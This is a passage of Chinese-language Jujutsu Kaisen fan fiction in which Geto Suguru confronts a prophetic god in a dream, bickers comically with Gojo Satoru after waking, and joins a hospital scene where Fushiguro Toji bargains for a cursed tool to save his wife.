“等得到的。”夏油杰看着他的眼睛笃定的回答,“我知道他会来,所以我在等。等的到的。”
小杰愣了愣扬起笑容:“那太好了!我不孤独,你也不再孤独了!”
“那我们先一起回家吧!”
他犹豫了一下,牵住那只手跟着他往前走了几步,停了下来。
“怎么啦?”小杰好奇的看着他。
“需要你帮个忙。”夏油杰说着,蹲下身将纸飞机塞给他。
“将它放飞出去吧。”
小杰开心接过,对着尖角哈气,轻轻一掷——纸飞机划出漂亮的弧线,飞向远方。
这是属于过去的夏油杰的,现在的夏油杰,已经不再需要了
他有了属于他的——更好的。
*
回家的路上,小夏油杰蹦蹦跳跳地走在前面。
“你可以跟我说说吗,你等的那个人?”
“他?
夏油杰跟在后面,想起五条悟,步子越来越慢。
“他是个臭屁包,幼稚鬼,傲娇怪。”
夏油杰说着说着忍不住轻笑起来。
“他是在往后数第十年降临在我的星球上的。”
“欸?”小杰停下来看着他,“小王子?”
他抬头问:“你很喜欢他?”
“嘛,”夏油杰笑歪了脑袋,“那小子是很讨人喜欢啦,没有人会不喜欢小王子吧。”
“是嘛?”小杰眨巴着眼睛,“有点搞不懂——”
他转过去低声喃喃:“除了你也没人会觉得五条悟可爱吧?”
*
【我说不想用手将水拨成心形——看,这才是世界】
“我与人群是有隔离的,我在普通人面前有一种优越感、一种傲慢。我不再惧怕人群,因为他们如此愚蠢弱小。我不再寻求理解,因为他们并非我的族群。”
小杰为五条悟指去。
前方雾气化水,飞速聚拢成清晰的投影。
夏油杰在教室里值日,窗外的夕阳那么浓烈,像一团不熄的焰火要将一切烧化。
他听见混在人群里压低的嗤笑声。
“又是夏油最后走啊。”
“听说他今天中午又迟到了,有人看到他拿着棍子和空气搏斗。”
“真是阴森森的,活该一个人……”
夏油杰不再是几年前听到这种声音还会冲上去反驳感到伤心的存在了,他只是默默的黑板擦放进槽沿。
袖口沾了粉笔灰,他懒得去拍一拍。深蓝的校服早就凝满了常人看不见的黑紫色汁液。那是他今天中午与怪物搏斗时沾染的。
走廊传来摩擦地板的声音,夏油杰本能侧头,足球擦着脸侧撞上了水渍未干的黑板。
“喂,优等生,”平头男生用脚尖勾起足球,“昨天巷子里多管闲事,老子现在看你怎么管。”
他脖子上勾着蜈蚣状的怪物,那怪物正用口器撕扯着他的皮肉,此刻锁定了新猎物,幽幽盯着夏油杰。
蜈蚣撑长身体向他探来,夏油杰闻见股股腥臭。他满脸冷汗应付:“我昨天只是不小心撞到了你,没必要带人堵我吧。”
这东西,昨天他吃了一只,但反复抓也抓不尽。
他在众人还没反应过来时甩出手里的板擦,板擦裹挟着他的力量与怪物相撞炸开。
“妈的,还敢打老子!”
“呜啊!”夏油杰太弱太小了,他又不能将特殊的力量对准普通人,与一众高年级的学生厮打在一起难免负伤。
太阳完全坠落了,不屈的烈焰也有焚尽的一天。
又被罚了一周卫生的小夏油杰走在路灯下,看着新到手的黑玉,搓了搓发青的脸侧嘿嘿笑出来。
“妈的!”五条悟跟着骂了声。
小杰惊的踢了他一脚:“小猫咪不准学脏话!”
“老子哪里是猫了!”五条悟气恼的把他提溜起用力晃甩,发狠到要把他脑子里的水全甩干。
“你干嘛去管他们的死活,你这个眯眯眼果然坏掉了!”
“我没有坏掉!”小杰被晃的想死,尖叫一声,“我只是傲慢!很傲慢!”
“也可以说是清高?总之,我以一种智者的姿态去看一群未开化的猴子,所以也从不为猴子的无知置气难过。”
五条悟就这么举着他,一动不动的盯着他。
小杰也不慌了,眯眼笑着:“别这样看着我啊,我可并不为此愧疚。在傲慢以前,是他们先将我踢出了他们的世界。”
五条悟定定的看着他,是极力忍耐的样子。
“这是代价,就像束缚一样。你得允许我这样。”
这个时候的五条悟比以后活泼很多,也单纯很多,他努力措辞向他描述。
“谁管你这些啊,笑的太假了吧!”五条悟就这样举着他死命的晃。
“知道真实却因为否定要靠锚点才能让自己确信自己不是个精神病!这样的眯眯眼也太逊了吧! !”
“没办法啊,”小杰的笑轻的像叹息,“大海太容易迷失了。这么坚定的satoru只有一个,我是个要靠自我洗脑才能确定一切不是高烧时的谵妄的弱者。”
五条悟被这样真诚温软的声音夸的面色泛红,他大声道:“才不是!敢于自我剖析的杰超酷的!说正论的杰也超——酷的!”
他喵喵叫着,拉长尾音。
小杰被他哄的笑起来,比之前的笑多了些重量,“你也开始自我洗脑了吗?”
“才没有,”五条悟将他放在地上,蹲下来盯着他认真道,“老子说过,杰很强的,所以只要杰高兴,怎么做都可以。杰变成今天这样已经很努力了。”
夏油杰眸光浮动,像是起雾的大海,一切掩于雾后海下,所有思绪被主人克制的收敛。
如果他知道以后,就不会这么说了吧。
“不过以后的杰比现在坦诚了不少。”
五条悟的吐槽如洪钟撞上心墙,小杰眼睫颤了颤。他退后两步,看着熟悉又陌生的苍蓝,声音里是五条悟抓耳挠腮也读不懂的东西:“你看出来了。”
“毕竟太明显了,眯眯眼的演技超差的。”
小杰低低笑着。谁说的清是演技差,还是疲惫的灵魂遇到熟悉的倚靠便再懒于乔装呢?
地面陡然震动,大海掀起波涛,小杰轻轻飘起向海里去。
他越退越远,眼睛却一瞬不瞬盯着熟悉的苍蓝。其中的渴望,眷恋,贪婪冲破迷雾撞入五条悟视力很好的眼睛。
五条悟不自在的嘀咕:“有必要吗,又不是见不到了。”
“可惜了,老子本来还想要挟你看看另一段梦呢!”
小杰已经彻底没入海中,厚重的大海被压成一维的照片,照片撕裂开来。他的声音也断断续续像坏掉的磁带,他倒浮在海里,一直以来像被截断的右手终于伸出去,隔着打不破的维度描摹少年稚嫩的眉眼。
“没办法,那个还是太狼狈了些。就给‘我’留点颜面吧。悟有本事,就让他自己告诉你吧。”
五条悟蹲在世界边哼哼唧唧。
*
路遥遥无尽,天沉沉欲雨。夏油杰的步子越来越慢。
这条走了十几年的路在扭曲异化,明明是不讲理的梦境,但冥冥中有道声音惶然催促——停下来,停下来。
“不跟我来吗?”孩童拉不动他,转头问道。
街边的银杏叶簌簌作响,夏油杰将自己的手抽出来。
“你发现了。”
男孩紫水晶般的眸子渐渐化作流动的黄金。
街边的商铺依次坍缩成水墨般的虚影,唯有脚下的板砖固执的向前铺展。
“你到底是谁?”他冷声问道。
对面的“小夏油杰”叹了口气,身形逐渐拉长、变化——
洁白的希腊袍,金色的发与眼,手心脚背,各有两处深深的钉印。
“这是第一次正式会面,但我以为你会记得我。”
少年模样的人面上显出深深的失落。
——是他!木偶剧院响起的声音,离奇梦境未露面的诘问者。
夏油杰喉结滚动,后退半步。少年却面无异色,装出的失落与眼里的轻佻褪去。他看向远方,态度庄重而深沉。
“世界要裂开了。”少年这么说着,“在你最珍重之人死去之前。”
最珍重之人?
想起死亡,夏油杰就想到倒在地上面染尘土,灵光熄灭的五条悟。
他的指尖开始颤抖,却竭力克制着:“不自我介绍一下吗?”
“我吗?是神明,也是诅咒。这不重要。重要的是,你该回答那个问题了。”少年看向他。
此时夏油杰才注意到,对方金色的眸子印满了深深浅浅,密密麻麻的黑色丝线,如同被暴力钳断的黄金上的裂纹。
“拯救世界吗?”夏油杰想起被爆头的理子,被破腹的五条悟,“应该不用问了吧。代价呢?我的代价是什么?”
神明依旧叩问:“即便未来迎接你的是遗忘,是落入凡尘,是永恒的孤独?”
夏油杰剜了他一眼:“感官已经在丧失了,我也没得选啊。都已经开始了,这样的痛苦……就让我一个人承担到底吧。”
“你已经发现啦?”他褪去严肃,轻快起来。
“你的味觉、嗅觉、触觉会一一退化,世界将离你远去。你的骄傲、你的一切会做为沙尘,流向永填不满的命运裂缝,没有人能再将你拉出,你将永堕于此。”
神明做下预言。
夏油杰站在形状唯一分明的石板上抬头,天空依旧灰蒙蒙的,他却能够望见现实的苍蓝。
天地一片沉静,少年任他如此,默不作声看着他。
夜蛾老师大概在焦急的处理各种事物;硝子不知道醒没醒,会不会喂蚊子,会不会有人趁虚而入给她带来危险;理子回了家说等我们忙完的消息;悟、悟大概看着他以前的丑样狠狠笑他,但黄油饼干还是给他做三倍糖好了,以后也没多少机会给他做了。
世界摇晃起来,万物开始燃烧崩塌,他看着坠落的天空,看着上升的苍蓝,不去看神明的眼睛,声音轻的恍若叹息:“这样挺好的。”
——不是他们,就好。
神明心口燃起星火,他后仰坠入火海,焚为填埋大地的土灰;真正的大夏油溺入翻滚的海水,化作深海升腾的泡沫。
天地彻底崩裂,一边火光滔天,一边涛澜汹涌。夏油杰与五条悟就在震颤摇摆的焰火与海水间遥遥相望,他们相视,忽然一笑,不约而同逆着湮灭向彼此狂奔而去。
22.欺骗,哒咩!
“呜啊——”“好痛!”
夏油杰哪哪都痛。
睁眼,是令人窒息的胸膛,他和五条悟绞在一起。
对方活像张张牙舞爪的头巾,手脚一并牢牢勾住他的脖子。时不时咂咂嘴,长长的哈喇子垂着,滴滴的流下来。
湿漉漉的口水聚在头顶,渗的天灵盖凉嗖嗖的。
——论提前体验躺板板是什么感觉,夏油同学表示自己很有发言权。
“五、条、悟!”夏油杰忍无可忍地一巴掌呼上去。
“嗷呜!”五条悟彻底清醒过来,他一抬头,夏油杰才发现对方左脸上还有一个巴掌印。
“杰!”五条悟猫猫哈气。
“别碰瓷,我只打了右边!”
夏油杰惊恐摆手,唯恐替不知名的某某背黑锅。
五条悟指着他说:“你脸上也有两个。”
“……”
两人各自顶着两个巴掌面面相觑。夏油杰看着又大又圆又亮的猫眼,突发奇想凑近:“哟,我脸上的比你美观些。”
有调侃的意味在,但也不失为实话一句。夏油杰薄薄的瓜子脸上的巴掌不仅大小位置对称,连色泽都是一致的微红。不像少爷猫,一大一小不说,右脸也明显比另一侧红肿许多。
瞄到右脸,夏油杰微微心虚。
太近了,温热的鼻息扑了五条悟一脸。白发少年脸痒痒的,像在被碎发来回的扫。
他下意识向上吹气,没吹走什么的头发,反倒吹的夏油杰左眼眯了眯。
“太自恋了吧怪刘海,明明是老子脸上的更漂亮。”
这个年纪的少年,莫名其妙到就算挨打也要攀比一下谁被打的跟好看。
见对方后退,五条悟反守为攻,效仿起对方用眼睛当镜子的行径。
毕竟是自己先发起的,夏油杰对这种攀比后知后觉地觉得蠢蠢的,但还是一动不动,配合着瞪大了眼睛。
五条悟左看看右看看,几乎趴在对方脸上。
“好了吗悟?”夏油杰忍不住皱皱鼻子。
他快要坚持不住了。脸上若有若无被轻挠得让人心里难受,眼睛一眨不眨地瞪着也酸。
“快了~快了~~杰再睁大些。”五条悟轻快欢脱的声音一出,这一下子可不得了了。
他比夏油杰高了半个头,为了视线齐平,此时微弯着背,是鼻对鼻……唇对唇的姿势。此时热气喷来,夏油杰嘴上刺挠挠的,仿佛被马蜂尾针蛰了一下,又麻又痒,让他有一种命不久矣的惊恐。
他羞恼的将少男推远:“你根本不是在看脸吧!”
五条悟哈哈大笑,“欸?被小眼睛发现了!老子可不多见优等生的眼睛睁的和梦里一样大,当然要多看看了!”
“你!”
一想起自己曝露无疑的过去,夏油杰就忍不住脚趾扣地板,恨不得挖个洞把自己埋了。
“安啦安啦,老子不会将你逐出最强行列的!”五条悟懒懒挂在他身上,拍了拍他的胸脯。
真是的,以后的杰比现在坦荡多了。
五条悟突然没劲了。他想起大夏油复杂的眼神,心里莫名得酸涩。他皱眉,用掌根摁压左下方胸骨。
那时候的他,经历过什么呢?
他很想知道。
那么善于矫饰,把自己摔成七零八落的样子,而后一脸平静的剖析。明明眼睛在哗啦啦的下雨,笑容却焊死在了脸上。
五条悟宁愿是他垮着脸的,哭丧着脸的,最好冒着鼻涕泡抽抽搭搭。
别做那个坦荡温软且坚强,被磨平了一些棱角人,温柔到令人哀伤。
好似会在下一刻随着升起的太阳化作阳光下的泡沫,直到第二天白天彻底降临,再无影踪。
成熟必定要付出代价。
夏油杰有的不多,五条悟不想他再失去什么。
那个时候的他经历过什么呢,我……五条悟、不在他身边吗?
五条悟有些郁闷,开始埋怨未来的自己,渐渐的又感到委屈,委屈的翻头,嗷呜一口咬在夏油杰的肩胛骨。
“嘶——你干什么?”
夏油杰下巴疼的抬了抬,掌根插进他的发顶。
五条悟控制力道,恨恨地磨了磨齿尖。
五条悟怎么可能不在!一定是怪刘海的原因!
“我说你、咬够了就起开!”夏油杰开始纵着他,见这小子顺杆子爬的越来越快,忍无可忍地把他掀远。
“还不是怪刘海不好!”
把自己搞成那个样子,丑死了!
五条悟完全不记得自己被大夏油杰弄得面红耳赤的样子,理智气壮的把自己晕头转向的恼意撒到了现在的夏油杰身上。
“哈?”夏油杰不敢置信的掏了掏耳朵,“你小子发什么疯? !”
夏油杰细细思索,问候了一遍过去十七年的人生,想想是哪里惹得猫跳了脚。
不对!他命令自己住脑。
自己过去跟他见都没见过,完全不认识,惹个球啊!
五条悟的反应他在教室门口发霉的短短几十秒里推演模拟过。这小子就算关心,也要捧腹哈哈大笑,或者嘴上花花揶揄,完全不该是这种一脸愤怒,一脸委屈,像是主人出门前没放水放粮的猫样啊!
绝对是这个家伙自己有问题吧!!
“你看到了什么?”
这下夏油杰有些好奇了。
以夏油杰的推测,那张金纸上的咒力远不比落在草地上的两架飞机,五条悟顶多看到两三段过往而已。
这也是他想死想的要死,但还没付诸行动的重要原因之一。
等等!光想过去压抑的主旋律去了!这小子……不会好死不死看到自己拉肚子蹲坑便秘被妈妈扮女孩子或者……洗澡自撸的片段吧? !
“你看到什么了? !”
同样的话,刚刚那句情绪稳定,这一句却音高的可以把飞机都打下来了。
这小子,不会是觉得辣眼睛才这个反应的吧? !我刚到手的朋友,难不成,就要这么没了? !!
刚刚配合只是瞪大的眼睛,这下子真的要裂开了。
五条悟被吓得‘嗖——’的往后跳。
“你干什么!吓死老子了!”
夏油杰面目狰狞:“你,都看到了?”
好诡异的腔调。
五条悟不明觉厉看着他,自然地说:“看到啦。”
啪——
在嗓子眼蹦跶的小心脏还是跳了出去,啪的一下掉地上沾了灰。
夏油杰第一反应:生无可恋,想死。
夏油杰第二反应:阴险看人,想刀。
五条悟感觉晚上的风凉嗖嗖的,吹的自己瑟瑟发抖,于是抱住了可怜无助又弱小的自己。
“哇,什么眼神啊!”五条悟恶嫌的看他一眼,“老子又不会说出去。”
夏油杰幽幽看他,“是吗?”
五条悟撇了撇嘴,感觉自己亏大发了:“不就是小时候被欺负,还蠢兮兮凑上去的事吗,有什么好往外说的。你这家伙,在老子面前偶像包袱未免也太重了吧?”
自己还没找他算账,欠账的人倒咄咄逼人的找上门来了!这算个什么道理!
五条悟一点不咻,“老子还没找你算账呢!”
未来的夏油杰不好找,17岁的夏油杰现成一个,他的账难道自己还不能好好理理吗?
五条悟就说在知道自己得精神病时他怎么那么奇怪了。
常人若晓得自己成了精神病,不说寻死觅活,指天骂地、奔溃痛哭的流程好歹二选一是要来一遭的。他倒好,躲在宿舍emo,那么能藏,跟破烂高专厕所的Wi-Fi信号似的。
亏自己觉得这家伙心大还是上赶着安慰,安慰完人倒是振奋了,但合着自己是前因后果稀里糊涂,这家伙悠悠然一句实话莫得。
就精神病这个话题,五条悟就算跟怪刘海掰扯三天三夜,那也得是他赢!
听到明确回复,夏油杰彻彻底底松了口气。
毕竟就算是小时候,他也是个坚决拒绝比谁尿的更远幼稚游戏的文雅少男。一个同性,就算是自己的挚友,他也根本不能容忍对方盯着自己窜稀这种事情的发生啊!
两害相权取其轻,排除隐患心情晴。他看着‘喜怒无常’的五条公主眉头一挑,“我又怎么招惹你了?”
五条悟一字一顿提醒他,“精、神、病!”
夏油杰了然,这家伙是把精神病之类的过往也看见了。
其实当初确诊,夏油杰虽然难过,但并没有五条悟认为的那——么难受。倒不如说,对他而言更多的是一种尘埃落定的快感,头顶高悬的铡刀终于落下,他又多了一个借口。
虽然戏剧,但也算得上是件好事。
他一点不心虚,就更不知道五条悟这次的燃点在哪儿了。
“……额,所以……”
五条悟皮笑肉不笑,“老子那么用心,你没对老子坦白。”
夏油杰哽了一下,“那个时候,我肯定不会跟你讲这种事啊!”
五条悟不可置信:“这种事都不跟老子讲,你还跟老子讲什么?!”
“这种事怎么可能随便跟人讲啊!”
“好你个怪刘海!原来那个时候你只把老子当随便的人啊!果然,我在垃圾桶旁边的时候一点没冤枉你!”
夏油杰诡异的抓住重点,“垃圾桶
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、吵架那次?你冤枉我什么了?”
这次换五条悟哽住了。
“……总之,你就是对不起老子!”
“……我再请你吃一个月甜品?”夏油杰试探着问他,他深知和猫科动物是不能讲道理的,猫猫得顺毛捋,否则越捋越炸。
反正欠了很多了,也不差这一点嘛。
有时候破罐子破摔,也不失为一种人生大智慧。
五条悟没有一点消气的意思。
自己一生气对方就拿甜品哄,这跟女朋友一生气男友问你喝不喝柠檬水降降温有什么区别!
“太敷衍了!”
夏油杰凑上前去笑道:“巧克力曲奇和炸酸奶我也做的不错,戚风蛋糕烤的也规整绵软。”
五条悟顿了一下,“……炸酸奶是什么?”
“嗯……就是将冻好的特调酸奶液裹上鸡蛋液和面糠炸成金黄金黄的,咬下去一□□浆,酥酥脆脆又香香甜甜的哟~~”
见五条悟有所意动,夏油杰乘胜追击,“我之前看到肯德基和神奇宝贝联名了,我们去正好可以买几份套餐,吃完饭再去买食材做饭后甜点,你觉得怎么样?”
“老子要吃!还有老子的黄油小饼干,还有巧克力曲奇,老子都要吃!”
“ok,我记到记事簿里了。”
五条悟接着宣布:“都要三倍糖的,只给老子一个人做!”
夏油杰赶忙保证:“没问题!”
五条悟这才重新挂回他身上:“杰,你以后有什么事都要和老子说,要不然老子会生气的!”
他想了想补充道:“是很生气,很生气的那种,再多的三倍糖黄油小饼干都哄不好的那种。”
夏油杰哑然,要是让这小子知道自己答应下来的事,估计会气炸去吧。
他垂下眼看着自己肩窝里毛茸茸的脑袋,“说起这个,悟还没有告诉我秘密呢?”
那天在游乐场,五条悟说打赢他就告诉自己的秘密。
被愉快的丢到了脑后,夏油杰也险些忘记。现在正好捡起来,擦擦还可以再用用。
五条悟干脆利落告诉他,“那个秘密就是……”
他提前后撤两步,“老子早知道杰不是精神啦!”
破风声响起。
五条悟早有准备的萝卜蹲。
夏油杰嘴角抽了抽,极力按捺自己想要杀人的心脏。
五条悟缩在地上抱住自己,“悟酱不是故意隐瞒杰君的,悟酱是自己都搞不明白才不说的。”
他都搞不明白就不用拿给夏油杰说了,已知的精神病总比未知的诅咒要来的令人安心。
谁让五条家的神子对夏油杰永远不缺恻隐之心呢?
夏油杰无奈扶额:“再怎么说,这种事情悟都该告诉我才对。”
他一想起自己宿舍emo被五条悟抓包、被家入硝子开病例单、试图借着精神病做诱饵引来夢魔瞪得眼睛都酸了……一桩桩一件件,都是血泪史啊!
夜蛾老师约的长期心理咨询怎么办?听说要先预付三分之二订金,违约不退啊!
钱,好大一笔钱啊!
要不是刚刚哄完人,夏油杰都要忍不住上前揪着他的领子问一问——五条悟,你说你怎么忍心?!
怎么忍心这么对我,对夜蛾老师的钱包?
五条悟聪明驳回,“那你为什么不告诉理子她的朋友进医院的事?”
啪——是过往射出的箭正中眉心的声音。
夏油杰哑口无言。
“终于说完啦?”家入硝子拍了拍掌吸引注意。
“硝子,你什么时候在的?”
原来真的有人,不是在脚趾扣地板就是在去往脚趾扣地的路上的。
妈妈,我下次不想要“恶灵退散”的御守了,请给我换几个“霉运去死”的吧!
这是我一生只一次的请求!!
“嘛,从很——早以前哦。”家入硝子摇了摇手机,“我还拍到了你们亲吻的照片呢,放心吧,我和你们这些忸怩这里瞒瞒那里藏藏的dk不一样,我是不会隐瞒的!”
夏油杰当场石化原地,他怀揣着最后的希冀看向身穿白大褂的白衣天使。
白衣天使微笑着说:
“我已经发到校群里了哦。”
Furst Blood!
“夜蛾老师也看到了。”
Double kill!
“唔——好像也有几个五条家的人在。”
Triple Kill!
“就是不知道会不会传遍整个咒术界了。”
Quadra Kill!
“杰、杰,你不要死啊!”
23.咒具共轭
天空一片暗淡,半点星光也无。夏油杰真心觉得,这就是他往后的人生了。
他躺在地上,空茫的看着上空,眼神涣散。五条悟跪趴在一边鬼哭狼嚎,活像个给老婆哭坟的鳏夫。
“杰——杰——!你不要死啊!悟酱不能没有你啊!”
“杰——! ! !”
家入硝子揉了揉耳朵:“别叫唤了,再叫他没死也要生不如死了。”
“硝子~”五条悟捂着脸幽怨看她,抬头时脸上鲜红的巴掌印晃人眼球,家入硝子哽了一下,尴尬的挠了挠脸。
“硝子家暴,呜呜呜~ ~”
家入硝子恶心地抖了抖,“我可不想无偿出演你的伦理大片,你们可以不要再寻死觅活了吗,好歹关注一下重点啊!”
五条悟一点不买账,“你打我们就算了,为什么只踹老子不踹杰,老子的屁股绝对青了!”
五条悟委屈极了。还没醒迎接自己的就是挚友的巴掌,回过神来更是哪哪都痛,尤其是屁股,都快要裂成四瓣了。
“四瓣?”躺着的夏油杰耳朵抖了抖,支棱起来,“这是个什么裂法?”
“就是……嗯,竖着裂一道横着裂一道。”
五条悟在空中尽力比划,要不是家入硝子在场,他高低得拉低裤子要夏油杰帮他吹吹。
“这可不是我的锅,”硝子指着廊上的伏黑惠,“他爹干的。”
“他爹,谁啊?”
“不认得,他说他叫伏黑甚尔。”
“伏黑甚尔?”五条悟摸着下巴想了半天拍了掌,“哦——禅院家的天与咒缚啊。”
他揪了揪海胆刺,“他的崽?难怪咒力还挺庞大,原来是禅院家的血脉。”
“他爹都来了,怎么只把另一只小崽子提走了?”
硝子道:“他想把我绑了,但是惠在。”
五条悟兴致缺缺蔫了吧唧,这一出来,又是夢魔又是琥珀记忆匣又是星浆体的,现在又钻出个天与咒缚,一天两天打地鼠似的,锤完一个冒一个,没个消停。
硝子撇了他一眼:“理子的事我让他去解决了,我出手可是很贵的。”
五条悟比了个大拇指:“太聪明了,硝子。”
夏油杰还在恍惚:“所以,你真的把照片发到校群了?”
家入硝子眉眼弯弯:“当然是——”
“骗你们的啦!”
夏油杰黯淡的双眸蓦的亮起!
硝子话音一转:“只是发到小群啦。看到的应该只有歌姬学姐,冥冥学姐和夜蛾老师。”
夏油杰的心瞬时又变得拔凉拔凉,他晃晃悠悠地站起。
五条悟长在一个半封建的古董家族,某些方面被一群长胡子长老养的青涩而懵懂,在一些事上敏感又羞涩。
“婚书”这种东西被搬出来调侃,他的第一反应是不自在,第二反应是丢回去,第三反应是……咂摸咂摸……
这一咂摸就尝出了味,仿佛打开了新世界的大门。
毕竟夏油杰一亮一暗一亮一暗的眼睛比起家里还要手动摁一摁才动的机械狗好玩多了。
他这边对着新到手的设定兴致高昂乐不思蜀,夏油杰却俨然一副被威逼利诱,等吹雨打的悲催样,霎时让他鼓了脸。
“杰在嫌弃老子吗?”
夏油杰奇怪道:“你这又是从哪得来的结论?”
他偶尔真的理不顺五条悟古怪的脑回路啊!这里一铲子那里一剪刀的,跳来跳去,像只呱呱的青蛙。
五条悟气鼓鼓:“还没真的亲上就这么急于和老子撇清关系,要是真的亲上岂不是要和老子老死不相往来!”
夏油杰瞪大眼睛,“等等、等等!等等等等! !这怎么叫撇清关系呢!这是为了我们的清白啊!”
完全没想过为什么要真的亲上去呢!
家入硝子睁着死鱼眼,简直无力吐槽。
五条悟不吃这招,“老子都不在意,杰这么在意干嘛? !我们的关系需要他们评判吗? !”
夏油杰哑然,这……说的也有几分道理啊!悟是五条家的少主,就算丢清白也是五条公主亏得多,某种程度上,自己是赚了的那个啊!
夏油杰又支棱了起来,想起五条悟提到的关系,他咳了两声清清嗓子,一脸正色:“硝子,有件事情还没跟你说……”
家入硝子倚着柱子的身体闻言站直。
夏油杰和五条悟对视一眼,异口同声——
“我们结为挚友了!”
“……”
家入硝子垮下肩,面无表情地倚回去。
五条悟跳脚:“你这是什么表情!这么大好的消息你都没点表示吗?”
家入硝子扯了扯嘴角,“难道你们找我要份子钱?真有结婚的那天,我坐主位你俩结结实实的给我磕一个,我倒是可以考虑考虑。”
她抱起一旁几次欲言又止的伏黑惠,踹了踹夏油杰的鞋道:“表示什么!去医院了。”
*
病床上的女子面庞柔和气质温婉,美中不足的是双眸紧闭面无血色,像一株正在枯萎的向日葵。
三人总算知道伏黑惠的海胆头和清丽面庞出自何处了。
嘴角留疤的壮汉把两张证件甩给他们,“你们的要求我办了,叫反转术式救人!”
家入硝子闻言双手交叠搭在女子眉心,伏黑惠趴在病床边小心地呼吸,一向散漫自信的术式杀手也下意识直了脊背。
女人眉头渐渐舒展,唇瓣攀上血色,苍白的肌肤也慢慢恢复莹润。
优越的动态视力让伏黑甚尔将一切收入眼底,就在他眼底溢出光彩,随着复苏的葵花焕发生机时,家入硝子却呼吸微滞,指尖用力下压,加大了反转术式的输入。
伏黑甚尔心头咯噔一下,喉结不自觉滚动。直面刀枪剑戟,生死危机他都不曾如此惶恐过。这种预感又该死的熟悉,熟悉到他的嘴里不知何时溢满了铁锈血腥,熟悉到胳膊酸软指尖发麻。
这对一个杀手来说是致命的,但一个杀手,一个顶尖的杀手,他的直觉必然也是顶尖的。
家入硝子睁开眼,复杂的看着床上的人,慢慢收回手。
“为什么不继续了?”伏黑甚尔嗓音发哑。他上前拂过妻子的面颊,拇指指节悬停在人中。
家入硝子撇开眼,“反转术式只能治病,不能除咒。”她垂着眸子,“我只能维持她的生命,无法彻底救治她。”
号称能够治愈他人的全能术式的反转术式从来不是万能的,家入硝子有太多的无能为力。有些依赖反转术式能够解决,有些是反转术式也解决不了的,只能填在心里发灰腐臭。
伏黑甚尔捏紧拳头,夏油杰警惕的将女医生拉到身后。
男人阴鸷望过来,手伸进脖子上缠着的咒灵嘴里搅了搅,抽出一把挂满涎水的三节棍。
“你要干什么? !硝子已经尽力了!”
“真是天真幼稚的小鬼,”伏黑甚尔咧开嘴角,“当然是把反转术式囚禁起来了,我可不指望咒术界会为了一只猴子外派珍宝。”
伏黑惠冷着脸:“妈妈还在这。”
态度不言而喻——要打找个地方滚出去打。
伏黑甚尔握紧三节棍的棍柄,他眯了眯眼,理智稍稍回归。
五条悟盯着他手头的咒具:“你把手里那个给我们,老子帮你想想办法怎么样?”
“就你?”伏黑甚尔扯了扯嘴角,轻蔑地望着他。
五条悟被他的王霸之气激地炸毛:“嘿? !看不起老子是吧?”他拉下墨镜盯着对面的人,冰凉澄澈的眼睛露出的刹那,伏黑甚尔摸了摸肩上的虫子,本能厌恶的想要把它连筋带络地挖出来,最好落地能带出点令人愉悦的黏腻声响。
“除了正向的反转术式,咒力对普通人可称不上什么好东西。她的体质根本承载不起一个术士的诞生,更别说是一个有着十影术法潜力强大的术士。”
五条悟把小孩滴溜滴溜地转了几圈,看似凭此来回打量。夏油杰默默举手。
五条悟头也不回:“咒灵操术又不是什么第一次出现的新型术式,如果我没猜错的话,你的术式血脉源自于你的母亲。”
伏黑甚尔简直要笑出声来,他用力捂着嘴肩膀一颤一颤的。
杀手蹲下身,将手搭在伏黑惠的肩膀,嘴角勾起的弧度咧的怪异,畅快极了。
禅院家望眼欲
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穿苦等数载的十影竟是自己的儿子!一只被他们嘲笑,欺辱,贬低,鄙夷的猴子的儿子!哈哈哈哈哈,他们期待的十影是只小猴子!哈哈哈哈!
他终于忍不住大笑起来,搭在肩上的手猛地扣住儿子纤细的脖颈,拇指下压,用力抵住动脉扼住气管!
术士就是恶心!恶心恶心恶心恶心死了!恶心的要吐了啊!!怎么能这么恶心!!!
伏黑惠像被虎狮尖牙贯穿喉脖的小兽,呜咽着挣扎着。慢慢地,他压住自己用力划抓外拉对方的手,满脸青紫泪流满面的一心向死。
普通人中的术士大多早慧,伏黑惠自认自己不是个笨蛋,更称得上一个聪明二字。
床上的女人指尖颤了颤,眼角划过一滴泪,很快便没入久未打理的黑发,浸入医院的软枕里。
夏油杰瞳孔骤缩,急忙去掰扯男人的手,怒斥着让他放开。可一向引以为豪的握力仿佛泥牛入海,半点撼不动男人稳如泰山的手。
硝子焦急道:“我这儿有手术刀!先把他的手砍了,我待会再给他接上!”
“呵,我现在可不会杀他,这样一点都不划算。我还要奚落一顿禅院家再把他卖掉换医药费,他现在可不能死。”
伏黑甚尔面无表情的松手站起来,冷眼看着伏黑惠软倒在地,咳得撕心裂肺。
五条悟的眼珠滴溜地转了转,“五条家有一件咒具,能力是‘共享’。”
共享?
伏黑甚尔转头盯着他。
五条悟嘴角翘起,就是不说话。
伏黑甚尔站了几秒,“那小子可以交给五条家。”
五条悟指了指他手上的咒具。
伏黑甚尔眯眼看他,“好,游云也给你。”
五条悟一把拽过游云嘿嘿一笑,“那这是订金~”
他看向伏黑甚尔,“咒具‘共轭’,其能力为共享,只要你愿意将自己的生命与她共享,她就能活。”
他提醒道:“这意味着你们从此性命相连,生死相依。若一方死去则另一方也会一命呼呼。而这只是缔结契约的基本,并不算在代价里面。”
“‘共轭’作为一件登记在册的特级咒具,其籍籍无名不仅仅是因为它的作用仅限于肉.体或物品,无法作用于咒力术式或者灵魂层面,更重要的是代价随机。”
五条悟举了个例子:“有的人与天才共享毕生经验学识,他的代价可能只是今天会踩到一坨狗屎;有的人共享一本书的使用权,他的代价却可能是丧失性命。”
“你要将生命交付给她,你得做好失去一切的准备。”
伏黑甚尔冷哼一声,“叽叽歪歪净说些没用的,别废话,咒具拿来!”
五条悟双手一摊,“拿不出来。”
伏黑甚尔黑了脸,眼见就要动手,夏油杰急忙扯了扯白发少年的衣袖,“悟,有话快说完!别逗伏黑先生了!”
五条悟说,“老子可没逗他,最近在举办国际咒术交流展,共轭被五条家送出国展览去了。”
杀手双眼一眯,“送到哪里去了?”
五条悟撇了他一眼:“你就别想了,交流展三步一个摄像头,五步一只巡逻队。更别提保护的红外线,结界,符咒那些了。你可别被抓了。”
见他不说话就要上手拽回游云,五条悟后退两步,“诶!诶——!”
“你可以先到高专当体术老师嘛,作为职工你可以把妻子带到高专,既有基础的安全保障,又有硝子的反转术式。”
夏油杰闻言一惊,“悟?”
五条悟拍了拍他的的手。
伏黑甚尔冷笑道:“让无咒力的猴子当老师,五条少爷不觉得可笑吗?”
五条悟挑眉,“你真心这么觉得?”
“你从一开始就打的这个主意吧?”
